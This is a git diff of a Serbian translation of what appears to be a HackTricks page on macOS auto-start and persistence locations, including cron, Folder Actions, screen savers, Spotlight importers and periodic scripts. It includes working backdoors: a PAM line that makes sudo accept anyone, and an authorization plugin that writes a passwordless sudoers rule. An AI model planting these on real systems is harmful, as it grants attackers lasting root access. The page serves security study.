||||
Ovde možete pronaći lokacije pokretanja korisne za **zaobilaženje peska** koje vam omogućavaju da jednostavno izvršite nešto tako što to **upišete u datoteku** i očekujete ne baš česte uslove poput specifičnih **instaliranih programa, "neobičnih" korisničkih** radnji ili okruženja.
|
||||
{% endhint %}
|
||||
|
||||
### Cron
|
||||
|
@ -385,13 +385,13 @@ Ovde možete pronaći lokacije za pokretanje korisne za **zaobilaženje peska**
|
|||
|
||||
#### Opis & Eksploatacija
|
||||
|
||||
Prikažite cron poslove **trenutnog korisnika** sa:
|
||||
Izlistajte cron poslove **trenutnog korisnika** sa:
|
||||
```bash
|
||||
crontab -l
|
||||
```
|
||||
Možete videti sve cron poslove korisnika u **`/usr/lib/cron/tabs/`** i **`/var/at/tabs/`** (potrebne su administratorske privilegije).
|
||||
Možete videti sve cron poslove korisnika u **`/usr/lib/cron/tabs/`** i **`/var/at/tabs/`** (potreban je root).
|
||||
|
||||
Na macOS-u se mogu pronaći različite mape koje izvršavaju skripte sa **određenom učestalošću**:
|
||||
Na macOS-u se mogu pronaći nekoliko foldera koji izvršavaju skripte s **određenom učestalošću**:
|
||||
```bash
|
||||
# The one with the cron jobs is /usr/lib/cron/tabs/
|
||||
ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /etc/periodic/
|
||||
|
@ -443,7 +443,7 @@ Launch Daemons are used to run processes at system boot or login. They are store
|
|||
|
||||
### Login Items
|
||||
|
||||
Login Items are applications that open when a user logs in. They can be managed in `System Preferences > Users & Groups > Login Items`.
|
||||
Login Items are applications that open when a user logs in. They are managed in `System Preferences > Users & Groups > Login Items`.
|
||||
|
||||
### Startup Items
|
||||
|
||||
|
@ -468,11 +468,11 @@ Skripta **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt`** će t
|
|||
```bash
|
||||
do shell script "touch /tmp/iterm2-autolaunchscpt"
|
||||
```
|
||||
Postavke iTerm2 nalaze se u **`~/Library/Preferences/com.googlecode.iterm2.plist`** i mogu **ukazati na komandu koja će se izvršiti** kada se otvori iTerm2 terminal.
|
||||
Postavke iTerm2 nalaze se u **`~/Library/Preferences/com.googlecode.iterm2.plist`** mogu **ukazati na komandu koja će se izvršiti** kada se otvori iTerm2 terminal.
|
||||
|
||||
Ovu postavku možete konfigurisati u iTerm2 podešavanjima:
|
||||
Ovu postavku možete konfigurisati u postavkama iTerm2:
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
A komanda se odražava u postavkama:
|
||||
```bash
|
||||
|
@ -539,11 +539,11 @@ chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh"
|
|||
#### Lokacija
|
||||
|
||||
* **`~/.hammerspoon/init.lua`**
|
||||
* **Okidač**: Jednom kada se pokrene Hammerspoon
|
||||
* **Okidač**: Jednom kada se Hammerspoon pokrene
|
||||
|
||||
#### Opis
|
||||
|
||||
[**Hammerspoon**](https://github.com/Hammerspoon/hammerspoon) služi kao platforma za automatizaciju na **macOS-u**, koristeći **LUA skriptni jezik** za svoje operacije. Posebno podržava integraciju potpunog AppleScript koda i izvršavanje shell skripti, značajno unapređujući svoje sposobnosti skriptiranja.
|
||||
[**Hammerspoon**](https://github.com/Hammerspoon/hammerspoon) služi kao platforma za automatizaciju za **macOS**, koristeći **LUA skriptni jezik** za svoje operacije. Posebno podržava integraciju potpunog AppleScript koda i izvršavanje shell skripti, značajno unapređujući svoje sposobnosti skriptiranja.
|
||||
|
||||
Aplikacija traži jedan fajl, `~/.hammerspoon/init.lua`, i kada se pokrene, skripta će biti izvršena.
|
||||
```bash
|
||||
|
@ -557,7 +557,7 @@ EOF
|
|||
* Korisno za zaobilaženje peska-boksa: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Ali BetterTouchTool mora biti instaliran
|
||||
* TCC zaobilaženje: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Zahteva dozvole za automatizaciju prečica i pristupačnosti
|
||||
* Zahteva dozvole za automatizaciju prečica i pristupačnost
|
||||
|
||||
#### Lokacija
|
||||
|
||||
|
@ -643,9 +643,9 @@ Ovi predmeti se čuvaju u datoteci **`~/Library/Application Support/com.apple.ba
|
|||
|
||||
### ZIP kao stavka za prijavljivanje
|
||||
|
||||
(Pogledajte prethodni odeljak o stavkama za prijavljivanje, ovo je proširenje)
|
||||
(Proverite prethodni odeljak o stavkama za prijavljivanje, ovo je proširenje)
|
||||
|
||||
Ako sačuvate **ZIP** datoteku kao **stavku za prijavljivanje**, **`Archive Utility`** će je otvoriti, a ako je zip na primer sačuvan u **`~/Library`** i sadrži fasciklu **`LaunchAgents/file.plist`** sa zadnjim vratima, ta fascikla će biti kreirana (to nije podrazumevano) i plist će biti dodat tako da će sledeći put kada se korisnik ponovo prijavi, **zadnja vrata naznačena u plist-u će biti izvršena**.
|
||||
Ako sačuvate **ZIP** datoteku kao **stavku za prijavljivanje**, **`Archive Utility`** će je otvoriti, a ako je zip na primer sačuvan u **`~/Library`** i sadrži fasciklu **`LaunchAgents/file.plist`** sa zadnjim ulazom, ta fascikla će biti kreirana (to nije podrazumevano) i plist će biti dodat tako da sledeći put kada se korisnik ponovo prijavi, **zadnji ulaz naznačen u plist-u će biti izvršen**.
|
||||
|
||||
Druga opcija bila bi kreiranje datoteka **`.bash_profile`** i **`.zshenv`** unutar korisničkog HOME-a tako da ako fascikla LaunchAgents već postoji, ova tehnika bi i dalje radila.
|
||||
|
||||
|
@ -711,7 +711,7 @@ unset OLDPWD
|
|||
echo 11 > /tmp/at.txt
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
Ako AT zadaci nisu omogućeni, kreirani zadaci neće biti izvršeni.
|
||||
Ako zadaci AT nisu omogućeni, kreirani zadaci neće biti izvršeni.
|
||||
{% endhint %}
|
||||
|
||||
**Datoteke poslova** mogu se pronaći na `/private/var/at/jobs/`
|
||||
|
@ -723,13 +723,13 @@ total 32
|
|||
-r-------- 1 root wheel 803 Apr 27 00:46 a00019019bdcd2
|
||||
-rwx------ 1 root wheel 803 Apr 27 00:46 a0001a019bdcd2
|
||||
```
|
||||
Naziv datoteke sadrži red, broj posla i vreme kada je zakazan da se pokrene. Na primer, pogledajmo `a0001a019bdcd2`.
|
||||
Fajl sadrži red, broj posla i vreme kada je zakazan da se pokrene. Na primer, pogledajmo `a0001a019bdcd2`.
|
||||
|
||||
* `a` - ovo je red
|
||||
* `0001a` - broj posla u heksadecimalnom formatu, `0x1a = 26`
|
||||
* `019bdcd2` - vreme u heksadecimalnom formatu. Predstavlja minute koje su prošle od epohe. `0x019bdcd2` je `26991826` u decimalnom formatu. Ako ga pomnožimo sa 60 dobijamo `1619509560`, što je `GMT: 2021. April 27., utorak 7:46:00`.
|
||||
|
||||
Ako odštampamo datoteku posla, otkrivamo da sadrži iste informacije koje smo dobili koristeći `at -c`.
|
||||
Ako odštampamo fajl posla, otkrivamo da sadrži iste informacije koje smo dobili koristeći `at -c`.
|
||||
|
||||
### Akcije fascikle
|
||||
|
||||
|
@ -739,7 +739,7 @@ Analiza: [https://posts.specterops.io/folder-actions-for-persistence-on-macos-89
|
|||
* Korisno za zaobilaženje peska: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Ali morate moći da pozovete `osascript` sa argumentima da biste kontaktirali **`System Events`** kako biste mogli konfigurisati Akcije fascikle
|
||||
* TCC zaobilaženje: [🟠](https://emojipedia.org/large-orange-circle)
|
||||
* Ima neka osnovna TCC odobrenja poput Desktop, Documents i Downloads
|
||||
* Ima neka osnovna TCC odobrenja poput Desktopa, Dokumenata i Preuzimanja
|
||||
|
||||
#### Lokacija
|
||||
|
||||
|
@ -751,13 +751,13 @@ Analiza: [https://posts.specterops.io/folder-actions-for-persistence-on-macos-89
|
|||
|
||||
#### Opis & Eksploatacija
|
||||
|
||||
Akcije fascikle su skripte koje se automatski pokreću promenama u fascikli poput dodavanja, uklanjanja stavki ili drugih akcija poput otvaranja ili promene veličine prozora fascikle. Ove akcije mogu se koristiti za različite zadatke i mogu se pokrenuti na različite načine poput korišćenja Finder UI-a ili terminalskih komandi.
|
||||
Akcije fascikle su skripte automatski pokrenute promenama u fascikli poput dodavanja, uklanjanja stavki ili drugih akcija poput otvaranja ili promene veličine prozora fascikle. Ove akcije mogu se koristiti za različite zadatke i mogu se pokrenuti na različite načine poput korišćenja Finder UI-a ili terminalskih komandi.
|
||||
|
||||
Za postavljanje Akcija fascikle, imate opcije kao što su:
|
||||
|
||||
1. Kreiranje radnog toka Akcije fascikle sa [Automatorom](https://support.apple.com/guide/automator/welcome/mac) i instaliranje kao servis.
|
||||
2. Povezivanje skripte ručno putem Postavke Akcija fascikle u kontekst meniju fascikle.
|
||||
3. Korišćenje OSAScript-a za slanje Apple Event poruka aplikaciji `System Events.app` radi programskog postavljanja Akcije fascikle.
|
||||
1. Kreiranje radnog toka Akcije fascikle sa [Automatorom](https://support.apple.com/guide/automator/welcome/mac) i instaliranje kao servisa.
|
||||
2. Povezivanje skripte ručno putem Postavke Akcija fascikle u kontekstualnom meniju fascikle.
|
||||
3. Korišćenje OSAScripta za slanje Apple Event poruka aplikaciji `System Events.app` radi programskog postavljanja Akcije fascikle.
|
||||
* Ovaj metod je posebno koristan za ugradnju akcije u sistem, nudeći nivo postojanosti.
|
||||
|
||||
Naredni skript je primer onoga što može biti izvršeno putem Akcije fascikle:
|
||||
|
@ -774,7 +774,7 @@ Da biste napravili gore navedeni skript upotrebljivim za Akcije fascikle, kompaj
|
|||
```bash
|
||||
osacompile -l JavaScript -o folder.scpt source.js
|
||||
```
|
||||
Nakon što je skripta kompajlirana, postavite Folder Actions izvršavanjem sledeće skripte. Ova skripta će omogućiti Folder Actions globalno i posebno će povezati prethodno kompajliranu skriptu sa Desktop folderom.
|
||||
Nakon što je skripta kompajlirana, postavite Folder Actions izvršavanjem sledeće skripte. Ova skripta će omogućiti Folder Actions globalno i posebno će prikačiti prethodno kompajliranu skriptu na Desktop folder.
|
||||
```javascript
|
||||
// Enabling and attaching Folder Action
|
||||
var se = Application("System Events");
|
||||
|
@ -812,19 +812,19 @@ mv /tmp/folder.scpt "$HOME/Library/Scripts/Folder Action Scripts"
|
|||
```
|
||||
Zatim otvorite aplikaciju `Folder Actions Setup`, izaberite **folder koji želite da pratite** i izaberite u vašem slučaju **`folder.scpt`** (u mom slučaju sam ga nazvao output2.scp):
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="297"><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="297"><figcaption></figcaption></figure>
|
||||
|
||||
Sada, ako otvorite taj folder sa **Finder**-om, vaš skript će biti izvršen.
|
||||
|
||||
Ova konfiguracija je sačuvana u **plist** fajlu smeštenom u **`~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`** u base64 formatu.
|
||||
Ova konfiguracija je sačuvana u **plist** fajlu koji se nalazi u **`~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`** u base64 formatu.
|
||||
|
||||
Sada, pokušajmo da pripremimo ovu postojanost bez pristupa GUI-ju:
|
||||
Sada, hajde da pokušamo da pripremimo ovu postojanost bez pristupa GUI-ju:
|
||||
|
||||
1. **Kopirajte `~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`** u `/tmp` da biste napravili rezervnu kopiju:
|
||||
* `cp ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist /tmp`
|
||||
2. **Uklonite** Folder Actions koje ste upravo postavili:
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Sada kada imamo prazno okruženje
|
||||
|
||||
|
@ -850,7 +850,7 @@ Tekst: [https://theevilbit.github.io/beyond/beyond\_0027/](https://theevilbit.gi
|
|||
|
||||
#### Opis & Eksploatacija
|
||||
|
||||
Sve aplikacije koje se pojave u Dock-u su navedene unutar plist fajla: **`~/Library/Preferences/com.apple.dock.plist`**
|
||||
Sve aplikacije koje se pojave u Dock-u su navedene unutar plist-a: **`~/Library/Preferences/com.apple.dock.plist`**
|
||||
|
||||
Moguće je **dodati aplikaciju** samo sa:
|
||||
|
||||
|
@ -936,7 +936,7 @@ Objašnjenje: [https://theevilbit.github.io/beyond/beyond\_0017](https://theevil
|
|||
|
||||
#### Opis & Eksploatacija
|
||||
|
||||
**Kompajlirajte birač boja** paket sa vašim kodom (možete koristiti [**ovaj na primer**](https://github.com/viktorstrate/color-picker-plus)) i dodajte konstruktor (kao u [odeljku o čuvarima ekrana](macos-auto-start-locations.md#screen-saver)) i kopirajte paket u `~/Library/ColorPickers`.
|
||||
**Kompajlirajte birač boja** paket sa vašim kodom (možete koristiti [**ovaj na primer**](https://github.com/viktorstrate/color-picker-plus)) i dodajte konstruktor (kao u [odeljku o čuvaru ekrana](macos-auto-start-locations.md#screen-saver)) i kopirajte paket u `~/Library/ColorPickers`.
|
||||
|
||||
Zatim, kada se birač boja pokrene, vaš bi trebao takođe.
|
||||
|
||||
|
@ -980,27 +980,27 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0016/](https://theevilbit.
|
|||
Writeup: [https://posts.specterops.io/saving-your-access-d562bf5bf90b](https://posts.specterops.io/saving-your-access-d562bf5bf90b)
|
||||
|
||||
* Korisno za zaobilaženje peska: [🟠](https://emojipedia.org/large-orange-circle)
|
||||
* Ali završićete u zajedničkom pesku aplikacije
|
||||
* Ali završićete u zajedničkom aplikacionom pesku
|
||||
* TCC zaobilaženje: [🔴](https://emojipedia.org/large-red-circle)
|
||||
|
||||
#### Lokacija
|
||||
|
||||
* `/System/Library/Screen Savers`
|
||||
* Potreban je root
|
||||
* Potreban je root pristup
|
||||
* **Okidač**: Izaberite screensaver
|
||||
* `/Library/Screen Savers`
|
||||
* Potreban je root
|
||||
* Potreban je root pristup
|
||||
* **Okidač**: Izaberite screensaver
|
||||
* `~/Library/Screen Savers`
|
||||
* **Okidač**: Izaberite screensaver
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
#### Opis & Eksploatacija
|
||||
|
||||
Napravite novi projekat u Xcode-u i izaberite šablon za generisanje novog **Screen Saver**-a. Zatim, dodajte kod u njega, na primer sledeći kod za generisanje logova.
|
||||
Napravite novi projekat u Xcode-u i izaberite šablon za generisanje novog **Screen Saver**-a. Zatim, dodajte svoj kod u njega, na primer sledeći kod za generisanje logova.
|
||||
|
||||
**Izgradite** ga, i kopirajte `.saver` paket u **`~/Library/Screen Savers`**. Zatim, otvorite GUI Screen Saver i ako samo kliknete na njega, trebalo bi da generiše puno logova:
|
||||
**Izgradite** ga, i kopirajte `.saver` paket u **`~/Library/Screen Savers`**. Zatim otvorite GUI Screen Saver-a i ako samo kliknete na njega, trebalo bi da generiše mnogo logova:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -1017,7 +1017,7 @@ Timestamp (process)[PID]
|
|||
Imajte na umu da zato što se unutar dozvola binarnog koda koji učitava ovaj kod (`/System/Library/Frameworks/ScreenSaver.framework/PlugIns/legacyScreenSaver.appex/Contents/MacOS/legacyScreenSaver`) možete pronaći **`com.apple.security.app-sandbox`** bićete **unutar zajedničkog aplikacionog peska**.
|
||||
{% endhint %}
|
||||
|
||||
Kod čuvara ekrana:
|
||||
Kod čuvara:
|
||||
```objectivec
|
||||
//
|
||||
// ScreenSaverExampleView.m
|
||||
|
@ -1098,10 +1098,10 @@ writeup: [https://theevilbit.github.io/beyond/beyond\_0011/](https://theevilbit.
|
|||
* **Okidač**: Kreiran je novi fajl sa ekstenzijom koju upravlja spotlight dodatak.
|
||||
* `/Library/Spotlight/`
|
||||
* **Okidač**: Kreiran je novi fajl sa ekstenzijom koju upravlja spotlight dodatak.
|
||||
* Potreban je root
|
||||
* Potreban je root pristup
|
||||
* `/System/Library/Spotlight/`
|
||||
* **Okidač**: Kreiran je novi fajl sa ekstenzijom koju upravlja spotlight dodatak.
|
||||
* Potreban je root
|
||||
* Potreban je root pristup
|
||||
* `Some.app/Contents/Library/Spotlight/`
|
||||
* **Okidač**: Kreiran je novi fajl sa ekstenzijom koju upravlja spotlight dodatak.
|
||||
* Potrebna je nova aplikacija
|
||||
|
@ -1109,11 +1109,11 @@ writeup: [https://theevilbit.github.io/beyond/beyond\_0011/](https://theevilbit.
|
|||
#### Opis & Eksploatacija
|
||||
|
||||
Spotlight je ugrađena funkcija pretrage macOS-a, dizajnirana da korisnicima pruži **brz i sveobuhvatan pristup podacima na njihovim računarima**.\
|
||||
Da bi olakšao ovu brzu mogućnost pretrage, Spotlight održava **svoju bazu podataka** i kreira indeks **parsiranjem većine fajlova**, omogućavajući brze pretrage kako kroz imena fajlova tako i kroz njihov sadržaj.
|
||||
Da bi olakšao ovu brzu mogućnost pretrage, Spotlight održava **vlastitu bazu podataka** i kreira indeks **parsiranjem većine fajlova**, omogućavajući brze pretrage kako kroz nazive fajlova tako i kroz njihov sadržaj.
|
||||
|
||||
Osnovni mehanizam Spotlight-a uključuje centralni proces nazvan 'mds', što označava **'metadata server'**. Ovaj proces orkestrira celu uslugu Spotlight-a. Kao dopuna tome, postoje više 'mdworker' demona koji obavljaju različite zadatke održavanja, kao što je indeksiranje različitih tipova fajlova (`ps -ef | grep mdworker`). Ovi zadaci su mogući putem dodataka za uvoz Spotlight-a, ili **".mdimporter paketi**", koji omogućavaju Spotlight-u da razume i indeksira sadržaj preko raznovrsnog spektra formata fajlova.
|
||||
Osnovni mehanizam Spotlight-a uključuje centralni proces nazvan 'mds', što označava **'metadata server'**. Ovaj proces orkestrira celu Spotlight uslugu. Kao dopuna tome, postoje više 'mdworker' demona koji obavljaju različite održavajuće zadatke, kao što je indeksiranje različitih tipova fajlova (`ps -ef | grep mdworker`). Ovi zadaci su omogućeni putem dodataka za uvoz Spotlight-a, ili **".mdimporter paketi**", koji omogućavaju Spotlight-u da razume i indeksira sadržaj preko raznovrsnog spektra formata fajlova.
|
||||
|
||||
Dodaci ili **`.mdimporter`** paketi se nalaze na prethodno pomenutim mestima i ako se pojavi novi paket, učitan je u roku od minuta (nije potrebno ponovno pokretati bilo koji servis). Ovi paketi moraju naznačiti koje **tipove fajlova i ekstenzije mogu upravljati**, na ovaj način, Spotlight će ih koristiti kada se kreira novi fajl sa naznačenom ekstenzijom.
|
||||
Dodaci ili **`.mdimporter`** paketi se nalaze na prethodno pomenutim mestima i ako se pojavi novi paket, učitan je u roku od minuta (nije potrebno ponovno pokretati bilo koju uslugu). Ovi paketi moraju naznačiti koje **tipove fajlova i ekstenzije mogu upravljati**, na ovaj način, Spotlight će ih koristiti kada se kreira novi fajl sa naznačenom ekstenzijom.
|
||||
|
||||
Moguće je **pronaći sve `mdimportere`** koji su učitani pokretanjem:
|
||||
```bash
|
||||
|
@ -1124,7 +1124,7 @@ Paths: id(501) (
|
|||
"/System/Library/Spotlight/PDF.mdimporter",
|
||||
[...]
|
||||
```
|
||||
Na primer, **/Library/Spotlight/iBooksAuthor.mdimporter** se koristi za parsiranje ovih vrsta fajlova (ekstenzije `.iba` i `.book` između ostalih):
|
||||
Na primer, **/Library/Spotlight/iBooksAuthor.mdimporter** se koristi za parsiranje ovih vrsta fajlova (ekstenzije `.iba` i `.book` među ostalima):
|
||||
```json
|
||||
plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist
|
||||
|
||||
|
@ -1169,12 +1169,12 @@ Ako proverite Plist drugog `mdimporter`-a, možda nećete pronaći unos **`UTTyp
|
|||
Za kreiranje sopstvenog uvoznika možete početi sa ovim projektom: [https://github.com/megrimm/pd-spotlight-importer](https://github.com/megrimm/pd-spotlight-importer) a zatim promeniti ime, **`CFBundleDocumentTypes`** i dodati **`UTImportedTypeDeclarations`** kako bi podržao ekstenziju koju želite da podržite i odraziti ih u **`schema.xml`**.\
|
||||
Zatim **promenite** kod funkcije **`GetMetadataForFile`** da izvrši vaš payload kada se kreira datoteka sa obrađenom ekstenzijom.
|
||||
|
||||
Na kraju **izgradite i kopirajte svoj novi `.mdimporter`** na jedno od prethodnih lokacija i možete proveriti kada se učita **prateći logove** ili proverom **`mdimport -L.`**
|
||||
Na kraju **izgradite i kopirajte svoj novi `.mdimporter`** na jedno od prethodnih lokacija i možete proveriti da li je učitan **prateći logove** ili proverom **`mdimport -L.`**
|
||||
|
||||
### ~~Preference Pane~~
|
||||
|
||||
{% hint style="danger" %}
|
||||
Ne izgleda da ovo više radi.
|
||||
Izgleda da ovo više ne radi.
|
||||
{% endhint %}
|
||||
|
||||
Analiza: [https://theevilbit.github.io/beyond/beyond\_0009/](https://theevilbit.github.io/beyond/beyond\_0009/)
|
||||
|
@ -1191,12 +1191,12 @@ Analiza: [https://theevilbit.github.io/beyond/beyond\_0009/](https://theevilbit.
|
|||
|
||||
#### Opis
|
||||
|
||||
Ne izgleda da ovo više radi.
|
||||
Izgleda da ovo više ne radi.
|
||||
|
||||
## Root Sandbox Bypass
|
||||
|
||||
{% hint style="success" %}
|
||||
Ovde možete pronaći početne lokacije korisne za **zaobilaženje peska** koje vam omogućavaju da jednostavno izvršite nešto **upisivanjem u datoteku** kao **root** i/ili zahtevajući druge **čudne uslove.**
|
||||
Ovde možete pronaći startne lokacije korisne za **zaobilaženje peska** koje vam omogućavaju da jednostavno izvršite nešto **upisivanjem u datoteku** kao **root** i/ili zahtevajući druge **čudne uslove.**
|
||||
{% endhint %}
|
||||
|
||||
### Periodično
|
||||
|
@ -1218,7 +1218,9 @@ Analiza: [https://theevilbit.github.io/beyond/beyond\_0019/](https://theevilbit.
|
|||
|
||||
#### Opis & Eksploatacija
|
||||
|
||||
Periodični skriptovi (**`/etc/periodic`**) se izvršavaju zbog **launch daemona** konfigurisanih u `/System/Library/LaunchDaemons/com.apple.periodic*`. Imajte na umu da skripte smeštene u `/etc/periodic/` se **izvršavaju** kao **vlasnik datoteke,** tako da ovo neće raditi za potencijalno preuzimanje privilegija.
|
||||
Periodični skriptovi (**`/etc/periodic`**) se izvršavaju zbog **launch daemona** konfigurisanih u `/System/Library/LaunchDaemons/com.apple.periodic*`. Imajte na umu da skripte smeštene u `/etc/periodic/` se **izvršavaju** kao **vlasnik datoteke,** tako da ovo neće raditi za potencijalno eskalaciju privilegija.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# Launch daemons that will execute the periodic scripts
|
||||
ls -l /System/Library/LaunchDaemons/com.apple.periodic*
|
||||
|
@ -1249,6 +1251,8 @@ total 24
|
|||
total 8
|
||||
-rwxr-xr-x 1 root wheel 620 May 13 00:29 999.local
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Postoje i drugi periodični skriptovi koji će biti izvršeni, naznačeni u **`/etc/defaults/periodic.conf`**:
|
||||
```bash
|
||||
grep "Local scripts" /etc/defaults/periodic.conf
|
||||
|
@ -1256,18 +1260,16 @@ daily_local="/etc/daily.local" # Local scripts
|
|||
weekly_local="/etc/weekly.local" # Local scripts
|
||||
monthly_local="/etc/monthly.local" # Local scripts
|
||||
```
|
||||
### Automatsko pokretanje lokacija na macOS-u
|
||||
|
||||
Ako uspete da napišete bilo koji od fajlova `/etc/daily.local`, `/etc/weekly.local` ili `/etc/monthly.local`, **biće izvršen ranije ili kasnije**.
|
||||
Ako uspete da napišete bilo koji od fajlova `/etc/daily.local`, `/etc/weekly.local` ili `/etc/monthly.local` **biće izvršen ranije ili kasnije**.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Imajte na umu da će periodični skript biti **izvršen kao vlasnik skripte**. Dakle, ako obični korisnik poseduje skriptu, biće izvršena kao taj korisnik (ovo može sprečiti napade eskalacije privilegija).
|
||||
Imajte na umu da će periodični skript biti **izvršen kao vlasnik skripte**. Dakle, ako običan korisnik poseduje skriptu, biće izvršena kao taj korisnik (ovo može sprečiti napade eskalacije privilegija).
|
||||
{% endhint %}
|
||||
|
||||
### PAM
|
||||
|
||||
Objašnjenje: [Linux Hacktricks PAM](../linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md)\
|
||||
Objašnjenje: [https://theevilbit.github.io/beyond/beyond\_0005/](https://theevilbit.github.io/beyond/beyond\_0005/)
|
||||
Writeup: [Linux Hacktricks PAM](../linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md)\
|
||||
Writeup: [https://theevilbit.github.io/beyond/beyond\_0005/](https://theevilbit.github.io/beyond/beyond\_0005/)
|
||||
|
||||
* Korisno za zaobilaženje peska: [🟠](https://emojipedia.org/large-orange-circle)
|
||||
* Ali morate biti root
|
||||
|
@ -1279,7 +1281,7 @@ Objašnjenje: [https://theevilbit.github.io/beyond/beyond\_0005/](https://theevi
|
|||
|
||||
#### Opis & Eksploatacija
|
||||
|
||||
Pošto je PAM više fokusiran na **upornost** i malver nego na jednostavno izvršavanje unutar macOS-a, ovaj blog neće pružiti detaljno objašnjenje, **pročitajte objašnjenja da biste bolje razumeli ovu tehniku**.
|
||||
Pošto je PAM više fokusiran na **upornost** i malver nego na lako izvršavanje unutar macOS-a, ovaj blog neće pružiti detaljno objašnjenje, **pročitajte writeup-ove da biste bolje razumeli ovu tehniku**.
|
||||
|
||||
Proverite PAM module sa:
|
||||
```bash
|
||||
|
@ -1287,7 +1289,7 @@ ls -l /etc/pam.d
|
|||
```
|
||||
### Dodavanje zlonamernog modula PAM-a za održavanje postojanosti/escalaciju privilegija
|
||||
|
||||
Jedna od tehnika održavanja postojanosti/escalacije privilegija koja zloupotrebljava PAM je jednostavna kao modifikacija modula /etc/pam.d/sudo dodavanjem linije na početku:
|
||||
Tehnika održavanja postojanosti/escalacije privilegija zloupotrebom PAM-a je jednostavna kao što je modifikacija modula /etc/pam.d/sudo dodavanjem na početku linije:
|
||||
```bash
|
||||
auth sufficient pam_permit.so
|
||||
```
|
||||
|
@ -1305,13 +1307,13 @@ session required pam_permit.so
|
|||
I zbog toga će svaki pokušaj korišćenja **`sudo` raditi**.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Imajte na umu da je ovaj direktorijum zaštićen TCC-om, pa je vrlo verovatno da će korisnik dobiti upit za pristup.
|
||||
Imajte na umu da je ovaj direktorijum zaštićen TCC-om, pa je veoma verovatno da će korisnik dobiti upit za pristup.
|
||||
{% endhint %}
|
||||
|
||||
### Plugins za autorizaciju
|
||||
|
||||
Analiza: [https://theevilbit.github.io/beyond/beyond\_0028/](https://theevilbit.github.io/beyond/beyond\_0028/)\
|
||||
Analiza: [https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65](https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65)
|
||||
Objašnjenje: [https://theevilbit.github.io/beyond/beyond\_0028/](https://theevilbit.github.io/beyond/beyond\_0028/)\
|
||||
Objašnjenje: [https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65](https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65)
|
||||
|
||||
* Korisno za zaobilaženje peska: [🟠](https://emojipedia.org/large-orange-circle)
|
||||
* Ali morate biti root i napraviti dodatne konfiguracije
|
||||
|
@ -1320,12 +1322,12 @@ Analiza: [https://posts.specterops.io/persistent-credential-theft-with-authoriza
|
|||
#### Lokacija
|
||||
|
||||
* `/Library/Security/SecurityAgentPlugins/`
|
||||
* Potreban je root pristup
|
||||
* Potreban je root
|
||||
* Takođe je potrebno konfigurisati bazu podataka za autorizaciju da koristi plugin
|
||||
|
||||
#### Opis & Eksploatacija
|
||||
|
||||
Možete kreirati plugin za autorizaciju koji će se izvršiti kada se korisnik prijavi kako bi održao postojanost. Za više informacija o tome kako kreirati jedan od ovih pluginova, pogledajte prethodne analize (i budite oprezni, loše napisan može vas zaključati i moraćete očistiti svoj Mac iz režima oporavka).
|
||||
Možete kreirati plugin za autorizaciju koji će se izvršiti kada se korisnik prijavi kako bi održao postojanost. Za više informacija o tome kako kreirati jedan od ovih pluginova, pogledajte prethodna objašnjenja (i budite oprezni, loše napisan može vas zaključati i moraćete očistiti svoj Mac iz režima oporavka).
|
||||
```objectivec
|
||||
// Compile the code and create a real bundle
|
||||
// gcc -bundle -framework Foundation main.m -o CustomAuth
|
||||
|
@ -1340,7 +1342,7 @@ NSLog(@"%@", @"[+] Custom Authorization Plugin was loaded");
|
|||
system("echo \"%staff ALL=(ALL) NOPASSWD:ALL\" >> /etc/sudoers");
|
||||
}
|
||||
```
|
||||
**Pomerite** paket na lokaciju koja će se učitati:
|
||||
**Pomerite** paket na lokaciju sa koje će se učitati:
|
||||
```bash
|
||||
cp -r CustomAuth.bundle /Library/Security/SecurityAgentPlugins/
|
||||
```
|
||||
|
@ -1363,7 +1365,7 @@ EOF
|
|||
|
||||
security authorizationdb write com.asdf.asdf < /tmp/rule.plist
|
||||
```
|
||||
**`evaluate-mechanisms`** će reći okviru autorizacije da će mu biti potrebno **pozvati spoljni mehanizam za autorizaciju**. Štaviše, **`privileged`** će ga izvršiti kao root.
|
||||
